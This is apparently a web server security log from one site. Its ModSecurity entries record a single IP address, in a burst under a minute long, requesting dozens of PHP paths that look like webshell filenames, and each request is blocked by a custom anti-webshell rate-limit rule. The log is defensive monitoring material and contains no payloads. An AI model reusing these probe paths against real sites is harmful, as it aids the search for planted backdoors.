[Sun Mar 29 02:25:57.460579 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:63627] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-104.php"] [unique_id "acgdNU8pSj6sqgZaItnnYQAAAIY"]
[Sun Mar 29 02:25:58.147337 2026] [:error] [pid 39428:tid 39463] [client 20.197.233.108:64414] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-104.php"] [unique_id "acgdNqXMrozFMIaP8nIEpQAAAEQ"]
[Sun Mar 29 02:25:58.830764 2026] [:error] [pid 39429:tid 39500] [client 20.197.233.108:63637] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-104.php"] [unique_id "acgdNk8pSj6sqgZaItnnZAAAAI4"]
[Sun Mar 29 02:25:59.597736 2026] [:error] [pid 39429:tid 39499] [client 20.197.233.108:64330] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa21.php"] [unique_id "acgdN08pSj6sqgZaItnnaAAAAI0"]
[Sun Mar 29 02:26:00.303212 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:63557] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa21.php"] [unique_id "acgdOE8pSj6sqgZaItnnbwAAAJI"]
[Sun Mar 29 02:26:01.115988 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:63646] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa21.php"] [unique_id "acgdOSkUyvlQod6qQu2mpgAAANA"]
[Sun Mar 29 02:26:01.782959 2026] [:error] [pid 39514:tid 39549] [client 20.197.233.108:64381] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa21.php"] [unique_id "acgdOSkUyvlQod6qQu2mqQAAANc"]
[Sun Mar 29 02:26:02.477755 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:64442] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "acgdOnVrXSgLxlxLi9A-8AAAAQM"]
[Sun Mar 29 02:26:03.116273 2026] [:error] [pid 60346:tid 60352] [client 20.197.233.108:63656] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "acgdO3VrXSgLxlxLi9A-8gAAAQE"]
[Sun Mar 29 02:26:03.772845 2026] [:error] [pid 39428:tid 39459] [client 20.197.233.108:64375] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "acgdO6XMrozFMIaP8nIEswAAAEA"]
[Sun Mar 29 02:26:04.395728 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:64348] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "acgdPHVrXSgLxlxLi9A--AAAAQo"]
[Sun Mar 29 02:26:05.016811 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:64379] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acgdPXVrXSgLxlxLi9A--gAAAQc"]
[Sun Mar 29 02:26:05.638948 2026] [:error] [pid 39427:tid 39454] [client 20.197.233.108:63553] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acgdPVvLf0RDUqcYq-ZRPwAAABY"]
[Sun Mar 29 02:26:06.442998 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:63568] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acgdPnVrXSgLxlxLi9A_BwAAAQc"]
[Sun Mar 29 02:26:07.115885 2026] [:error] [pid 39428:tid 39478] [client 20.197.233.108:63148] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acgdP6XMrozFMIaP8nIEtgAAAFM"]
[Sun Mar 29 02:26:07.901861 2026] [:error] [pid 39514:tid 39534] [client 20.197.233.108:63673] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "acgdPykUyvlQod6qQu2msAAAAMk"]
[Sun Mar 29 02:26:08.639810 2026] [:error] [pid 39514:tid 39528] [client 20.197.233.108:64436] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "acgdQCkUyvlQod6qQu2mtAAAAMM"]
[Sun Mar 29 02:26:09.639315 2026] [:error] [pid 39429:tid 39497] [client 20.197.233.108:63570] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "acgdQU8pSj6sqgZaItnngwAAAIs"]
[Sun Mar 29 02:26:10.316158 2026] [:error] [pid 39427:tid 39437] [client 20.197.233.108:64346] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "acgdQlvLf0RDUqcYq-ZRQgAAAAU"]
[Sun Mar 29 02:26:10.988090 2026] [:error] [pid 39427:tid 39448] [client 20.197.233.108:64353] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "acgdQlvLf0RDUqcYq-ZRQwAAABA"]
[Sun Mar 29 02:26:11.746786 2026] [:error] [pid 39514:tid 39532] [client 20.197.233.108:63662] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "acgdQykUyvlQod6qQu2mvwAAAMc"]
[Sun Mar 29 02:26:12.520445 2026] [:error] [pid 39429:tid 39493] [client 20.197.233.108:63048] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "acgdRE8pSj6sqgZaItnniwAAAIc"]
[Sun Mar 29 02:26:13.176998 2026] [:error] [pid 39429:tid 39501] [client 20.197.233.108:63140] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "acgdRU8pSj6sqgZaItnnjgAAAI8"]
[Sun Mar 29 02:26:14.056713 2026] [:error] [pid 39514:tid 39537] [client 20.197.233.108:63648] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "acgdRikUyvlQod6qQu2mwAAAAMw"]
[Sun Mar 29 02:26:14.677208 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:63561] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "acgdRnVrXSgLxlxLi9A_GQAAAQs"]
[Sun Mar 29 02:26:15.301671 2026] [:error] [pid 39429:tid 39496] [client 20.197.233.108:64370] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "acgdR08pSj6sqgZaItnnkgAAAIo"]
[Sun Mar 29 02:26:15.936995 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:63660] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "acgdRykUyvlQod6qQu2mxAAAAME"]
[Sun Mar 29 02:26:16.585179 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:64358] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "acgdSHVrXSgLxlxLi9A_HQAAAQw"]
[Sun Mar 29 02:26:17.246462 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:63154] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "acgdSXVrXSgLxlxLi9A_HwAAARI"]
[Sun Mar 29 02:26:18.057442 2026] [:error] [pid 39428:tid 39475] [client 20.197.233.108:64325] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "acgdSqXMrozFMIaP8nIEuQAAAFA"]
[Sun Mar 29 02:26:18.720281 2026] [:error] [pid 39514:tid 39531] [client 20.197.233.108:63610] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "acgdSikUyvlQod6qQu2mxwAAAMY"]
[Sun Mar 29 02:26:19.370535 2026] [:error] [pid 39428:tid 39469] [client 20.197.233.108:63664] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgdS6XMrozFMIaP8nIEvAAAAEo"]
[Sun Mar 29 02:26:20.005059 2026] [:error] [pid 39514:tid 39537] [client 20.197.233.108:63611] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgdTCkUyvlQod6qQu2mzQAAAMw"]
[Sun Mar 29 02:26:20.630326 2026] [:error] [pid 39514:tid 39524] [client 20.197.233.108:64388] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgdTCkUyvlQod6qQu2mzwAAAMA"]
[Sun Mar 29 02:26:21.248693 2026] [:error] [pid 39514:tid 39530] [client 20.197.233.108:63667] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgdTSkUyvlQod6qQu2m0QAAAMU"]
[Sun Mar 29 02:26:21.914775 2026] [:error] [pid 39514:tid 39543] [client 20.197.233.108:63111] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "acgdTSkUyvlQod6qQu2m0gAAANI"]
[Sun Mar 29 02:26:22.584990 2026] [:error] [pid 39514:tid 39531] [client 20.197.233.108:64444] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "acgdTikUyvlQod6qQu2m0wAAAMY"]
[Sun Mar 29 02:26:23.253094 2026] [:error] [pid 39428:tid 39468] [client 20.197.233.108:64384] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "acgdT6XMrozFMIaP8nIEwAAAAEk"]
[Sun Mar 29 02:26:23.924273 2026] [:error] [pid 39514:tid 39529] [client 20.197.233.108:63147] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "acgdTykUyvlQod6qQu2m1gAAAMQ"]
[Sun Mar 29 02:26:24.556891 2026] [:error] [pid 39429:tid 39505] [client 20.197.233.108:64355] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "acgdUE8pSj6sqgZaItnnmAAAAJM"]
[Sun Mar 29 02:26:25.189179 2026] [:error] [pid 39427:tid 39443] [client 20.197.233.108:63579] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "acgdUVvLf0RDUqcYq-ZRWAAAAAs"]
[Sun Mar 29 02:26:25.892642 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:63122] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "acgdUXVrXSgLxlxLi9A_KgAAARE"]
[Sun Mar 29 02:26:26.565216 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:63114] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "acgdUikUyvlQod6qQu2m2gAAANM"]
[Sun Mar 29 02:26:27.224917 2026] [:error] [pid 39429:tid 39510] [client 20.197.233.108:64433] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acgdU08pSj6sqgZaItnnmQAAAJg"]
[Sun Mar 29 02:26:27.844743 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:64335] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acgdUykUyvlQod6qQu2m3wAAAME"]
[Sun Mar 29 02:26:28.647715 2026] [:error] [pid 39427:tid 39445] [client 20.197.233.108:63625] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acgdVFvLf0RDUqcYq-ZRYgAAAA0"]
[Sun Mar 29 02:26:29.447671 2026] [:error] [pid 39427:tid 39455] [client 20.197.233.108:64406] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acgdVVvLf0RDUqcYq-ZRYwAAABc"]
[Sun Mar 29 02:26:30.207563 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:63136] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "acgdVnVrXSgLxlxLi9A_LAAAAQs"]
[Sun Mar 29 02:26:30.946507 2026] [:error] [pid 60346:tid 60355] [client 20.197.233.108:63566] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "acgdVnVrXSgLxlxLi9A_MAAAAQQ"]
[Sun Mar 29 02:26:49.622110 2026] [:error] [pid 39427:tid 39455] [client 20.197.233.108:63588] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "acgdaVvLf0RDUqcYq-ZRkAAAABc"]
[Sun Mar 29 02:26:50.242661 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:63612] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "acgdanVrXSgLxlxLi9A_TAAAAQY"]
[Sun Mar 29 02:26:50.964795 2026] [:error] [pid 39428:tid 39464] [client 20.197.233.108:63077] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "acgdaqXMrozFMIaP8nIE5wAAAEU"]
[Sun Mar 29 02:26:51.610667 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:63582] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "acgda3VrXSgLxlxLi9A_UwAAAQk"]
[Sun Mar 29 02:26:52.333766 2026] [:error] [pid 60346:tid 60367] [client 20.197.233.108:63598] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bjfl.php"] [unique_id "acgdbHVrXSgLxlxLi9A_VgAAARA"]
[Sun Mar 29 02:26:52.963577 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:63599] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bjfl.php"] [unique_id "acgdbCkUyvlQod6qQu2nDgAAAM0"]
[Sun Mar 29 02:26:53.635330 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:64443] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bjfl.php"] [unique_id "acgdbVvLf0RDUqcYq-ZRmAAAAAk"]
[Sun Mar 29 02:26:54.268446 2026] [:error] [pid 39427:tid 39446] [client 20.197.233.108:63145] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bjfl.php"] [unique_id "acgdblvLf0RDUqcYq-ZRnAAAAA4"]
